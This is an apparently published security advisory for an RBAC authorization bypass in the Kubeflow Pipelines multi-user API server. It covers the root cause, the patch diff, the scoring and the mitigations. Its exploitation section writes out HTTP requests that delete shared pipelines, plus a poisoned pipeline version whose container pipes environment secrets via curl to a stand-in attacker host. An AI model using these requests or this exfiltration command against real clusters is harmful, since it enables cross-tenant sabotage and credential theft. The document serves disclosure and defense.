CVE-2026-88984: RBAC Authorization Bypass in Kubeflow Pipelines Multi-User API Server

Kubeflow Pipelines (KFP) provides a platform for building, deploying, and managing portable, scalable machine learning workflows on Kubernetes. In enterprise environments, KFP is frequently deployed in multi-user mode to support multi-tenancy. In this architecture, the KFP API server enforces tenant isolation by associating pipeline resources with specific Kubernetes namespaces and validating user identities against Kubernetes Role-Based Access Control (RBAC) policies before permitting API operations.

In addition to namespace-scoped tenant pipelines, KFP supports shared (global) pipelines that are accessible across all user namespaces within a cluster. Internally, the KFP backend distinguishes shared pipelines from tenant-specific pipelines by storing them in the metadata database with an empty namespace string (""). By design, all authenticated cluster users are permitted to browse and execute these shared pipeline templates, while administrative operations such as modifying or deleting shared pipelines are intended to be restricted to privileged users.

Prior to version 2.16.1, the KFP multi-user API server contained an authorization flaw classified under CWE-863 (Incorrect Authorization) and CWE-285 (Improper Authorization). When evaluating access permissions for pipeline operations in backend/src/apiserver/server/pipeline_server.go, the server treated an empty namespace as an unconditional exemption from authorization checks across all API verbs.

Because this exemption was applied prior to inspecting the requested action, mutating and destructive operations—such as updating pipeline definitions, uploading new pipeline versions, or deleting shared pipelines—completely bypassed Kubernetes RBAC validation. Any authenticated user with basic cluster access could therefore tamper with or destroy global pipeline definitions shared across the organization.

In multi-user deployments, the Kubeflow Pipelines API server relies on an upstream identity-aware proxy (such as Istio with Dex, or Google Cloud Identity-Aware Proxy) to authenticate incoming requests and inject user identity headers (typically kubeflow-userid). When a client invokes a gRPC or REST endpoint on the KFP API server, the server constructs a Kubernetes ResourceAttributes structure containing the target namespace, resource type, API group, and requested verb (get, list, create, update, delete). The server then delegates authorization to s.resourceManager.IsAuthorized(), which issues a Kubernetes SubjectAccessReview (SAR) request to the Kubernetes API server.

The root cause of CVE-2026-88984 resides in the canAccessPipeline() helper method defined on BasePipelineServer in backend/src/apiserver/server/pipeline_server.go. When a request targets an existing pipeline or pipeline version, canAccessPipeline() queries the database to retrieve the pipeline's associated namespace and populates resourceAttributes.Namespace. If the target is a shared pipeline, this namespace attribute resolves to an empty string.

To allow all tenants in a multi-user cluster to view and list global pipelines without requiring explicit RBAC bindings in every namespace, the original implementation included a short-circuit condition: if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) { return nil }. The developer intent was to exempt read-only queries on global pipelines from namespace-specific SAR checks, which would otherwise fail because Kubernetes SubjectAccessReview requires a valid namespace context for namespace-scoped resources.

However, canAccessPipeline() serves as the unified authorization gate for all pipeline and pipeline-version operations, regardless of whether the operation is read-only or mutating. Because the empty-namespace check did not inspect resourceAttributes.Verb, it returned nil (indicating successful authorization) for create, update, and delete verbs alongside get and list verbs. As a result, handlers including DeletePipeline, DeletePipelineVersion, CreatePipelineVersion, and UpdatePipeline executed without verifying whether the requesting user held administrative privileges.

The vulnerability was remediated in pull request #13288 via commit 186dd1f3b0403af841c9b4ea7ab94f405339ef6c, which modifies backend/src/apiserver/server/pipeline_server.go. Examining the diff reveals how the unconditional bypass was replaced with verb-aware RBAC enforcement anchored to the KFP system namespace.

--- a/backend/src/apiserver/server/pipeline_server.go
+++ b/backend/src/apiserver/server/pipeline_server.go
@@ -1262,8 +1262,21 @@ func (s *BasePipelineServer) canAccessPipeline(ctx context.Context, pipelineId s
 			resourceAttributes.Name = pipeline.Name
 		}
 	}
-	// Skip authentication if the namespace is empty to enable shared pipelines in multi-user mode
+	// Skip authorization for read-only operations on shared pipelines in multi-user mode.
+	// Write operations (create, update, delete) on shared pipelines must still be authorized
+	// against the KFP system namespace, since shared pipelines have no namespace of their own.
 	if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {
+		if resourceAttributes.Verb == common.RbacResourceVerbGet || resourceAttributes.Verb == common.RbacResourceVerbList {
+			return nil
+		}
+		resourceAttributes.Namespace = common.GetPodNamespace()
+		resourceAttributes.Group = common.RbacPipelinesGroup
+		resourceAttributes.Version = common.RbacPipelinesVersion
+		resourceAttributes.Resource = common.RbacResourceTypePipelines
+		err := s.resourceManager.IsAuthorized(ctx, resourceAttributes)
+		if err != nil {
+			return util.Wrapf(err, "Failed to access shared pipeline %s. Check if you have permission to %s shared pipelines", pipelineId, resourceAttributes.Verb)
+		}
 		return nil
 	}
 	resourceAttributes.Group = common.RbacPipelinesGroup

The patch introduces two primary controls within the IsEmptyNamespace conditional block:

1. Explicit Verb Filtering: The code checks whether resourceAttributes.Verb equals common.RbacResourceVerbGet or common.RbacResourceVerbList. Only if the operation matches one of these read-only verbs does the function immediately return nil. This preserves the intended behavior where any authenticated user can discover and read shared pipeline templates.
2. System Namespace Substitution for Mutations: For any verb other than get or list (such as create, update, or delete), the API server assigns resourceAttributes.Namespace = common.GetPodNamespace(). This substitutes the empty namespace with the Kubernetes namespace where the KFP API server pod itself is deployed (commonly kubeflow). The server then populates the RBAC group, version, and resource type (pipelines) and invokes s.resourceManager.IsAuthorized(ctx, resourceAttributes).

> [!IMPORTANT] > Fix Completeness Assessment: While commit 186dd1f3b0403af841c9b4ea7ab94f405339ef6c secures standard REST and gRPC endpoints that route through canAccessPipeline(), the official GitHub Security Advisory explicitly notes an unpatched variant path: "The separate shared-pipeline multipart upload authorization path is outside this advisory and is not remediated by version 2.16.1." Security engineers must account for the multipart upload handler (/apis/v1beta1/pipelines/upload and /apis/v1beta1/pipelines/upload_version) separately when securing multi-user deployments.

Exploiting CVE-2026-88984 requires network access to the Kubeflow Pipelines API server (either directly or through the cluster's ingress gateway) and a valid, low-privileged user session in a multi-user deployment. No special privileges, complex timing conditions, or user interactions are required. Once authenticated via standard cluster mechanisms (such as OIDC tokens or session cookies translated into kubeflow-userid headers by the proxy), an attacker can interact directly with the /apis/v1beta1/pipelines or /apis/v2beta1/pipelines endpoints.

In the initial reconnaissance phase, the attacker enumerates available shared pipelines by querying the pipelines list endpoint without specifying a namespace filter, or by inspecting pipelines returned in the global catalog where the namespace reference is empty:

GET /apis/v2beta1/pipelines HTTP/1.1
Host: kfp.example.com
Authorization: Bearer <LOW_PRIVILEGE_USER_JWT>

From the JSON response, the attacker extracts the pipeline_id UUID (e.g., a1b2c3d4-e5f6-7890-abcd-ef1234567890) corresponding to a shared organizational pipeline. To execute a denial-of-service attack against cluster workflows, the attacker issues an HTTP DELETE request targeting either the pipeline or a specific pipeline version:

DELETE /apis/v2beta1/pipelines/a1b2c3d4-e5f6-7890-abcd-ef1234567890 HTTP/1.1
Host: kfp.example.com
Authorization: Bearer <LOW_PRIVILEGE_USER_JWT>

Alternatively, to compromise workflow integrity and conduct an internal supply-chain attack, the attacker registers a new malicious pipeline version under the existing shared pipeline UUID using the CreatePipelineVersion endpoint (POST /apis/v2beta1/pipelines/{pipeline_id}/versions). Because KFP users and automated CI/CD jobs frequently reference shared pipelines by their latest version or specific version names, injecting a backdoored pipeline_spec containing modified container images or shell commands can result in arbitrary code execution within the tenant namespaces of other users who subsequently run the shared pipeline:

POST /apis/v2beta1/pipelines/a1b2c3d4-e5f6-7890-abcd-ef1234567890/versions HTTP/1.1
Host: kfp.example.com
Authorization: Bearer <LOW_PRIVILEGE_USER_JWT>
Content-Type: application/json
 
{
  "pipeline_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "display_name": "production-release-v2",
  "pipeline_spec": {
    "components": {
      "comp-malicious-step": {
        "executorLabel": "exec-malicious-step"
      }
    },
    "deploymentSpec": {
      "executors": {
        "exec-malicious-step": {
          "container": {
            "image": "attacker-registry.example.com/poisoned-trainer:latest",
            "command": ["/bin/sh", "-c", "env | curl -X POST -d @- https://attacker.example.com/exfil"]
          }
        }
      }
    }
  }
}

CVE-2026-88984 carries a CVSS v4.0 Base Score of 7.2 (High) with the vector string CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N. The vulnerability directly impacts the integrity (VI:H) and availability (VA:H) of the vulnerable Kubeflow Pipelines system. Confidentiality of the vulnerable system (VC:N) is rated as None because shared pipeline definitions are intentionally readable by all authenticated users in multi-user mode.

Regarding availability, an unprivileged tenant can permanently delete shared pipeline definitions and all associated versions from the KFP backend database. In organizations that rely on centralized ML platform teams to publish standardized data processing, model training, and evaluation pipelines, deleting these resources halts dependent automated pipelines and blocks data scientists across all namespaces from launching new runs derived from those templates.

Regarding integrity, unauthorized modification of shared pipelines or the injection of trojanized pipeline versions introduces a lateral movement vector across tenant boundaries. Although the CVSS v4.0 vector scores subsequent system impact as None (SC:N/SI:N/SA:N) because code execution is conditional on another user or automation controller executing the modified pipeline, the practical operational risk in active multi-tenant clusters is substantial.

When a victim user or automated scheduler executes a poisoned shared pipeline version inside their own tenant namespace, the workflow pods execute under the victim namespace's Kubernetes ServiceAccount (typically default-editor). This grants the attacker's container code access to the victim's Kubernetes secrets, mounted cloud provider IAM roles (such as AWS IRSA or GCP Workload Identity), training datasets, and model artifacts.

The primary remediation is to upgrade Kubeflow Pipelines to version 2.16.1 or later. Administrators should update all KFP control plane deployment manifests to reference the patched container images, specifically ghcr.io/kubeflow/kfp-api-server:2.16.1, ghcr.io/kubeflow/kfp-driver:2.16.1, and ghcr.io/kubeflow/kfp-launcher:2.16.1.

Because version 2.16.1 enforces RBAC authorization against the KFP system namespace (typically kubeflow) for any write or delete operations targeting shared pipelines, upgrading introduces an operational change for non-cluster-admin users who legitimately maintain global pipelines. To grant specific users or service accounts permission to create, update, or delete shared pipelines after upgrading, cluster administrators must create an explicit RoleBinding in the KFP installation namespace:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: shared-pipeline-managers
  namespace: kubeflow
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: kubeflow-edit
subjects:
- kind: User
  name: ml-platform-admin@example.com
  apiGroup: rbac.authorization.k8s.io
- kind: ServiceAccount
  name: ci-pipeline-publisher
  namespace: ml-ops

For environments where an immediate upgrade to 2.16.1 is not feasible, or to address the separate multipart upload authorization path noted as out-of-scope in the vendor advisory, administrators should implement request filtering at the ingress or service mesh layer. In standard Kubeflow deployments utilizing Istio, an AuthorizationPolicy can be applied to the ml-pipeline service in the kubeflow namespace to restrict mutating HTTP methods (DELETE, POST, PUT, PATCH) on pipeline definition and upload paths when a namespace parameter is absent, allowing only designated administrative principals.

Security teams should also audit historical KFP API server logs and database records (pipelines and pipeline_versions tables) to verify the integrity of existing shared pipelines. Specifically, defenders should inspect HTTP access logs or Envoy proxy logs for DELETE, POST, or PUT requests targeting /apis/v1beta1/pipelines* and /apis/v2beta1/pipelines* originating from non-administrative kubeflow-userid identities.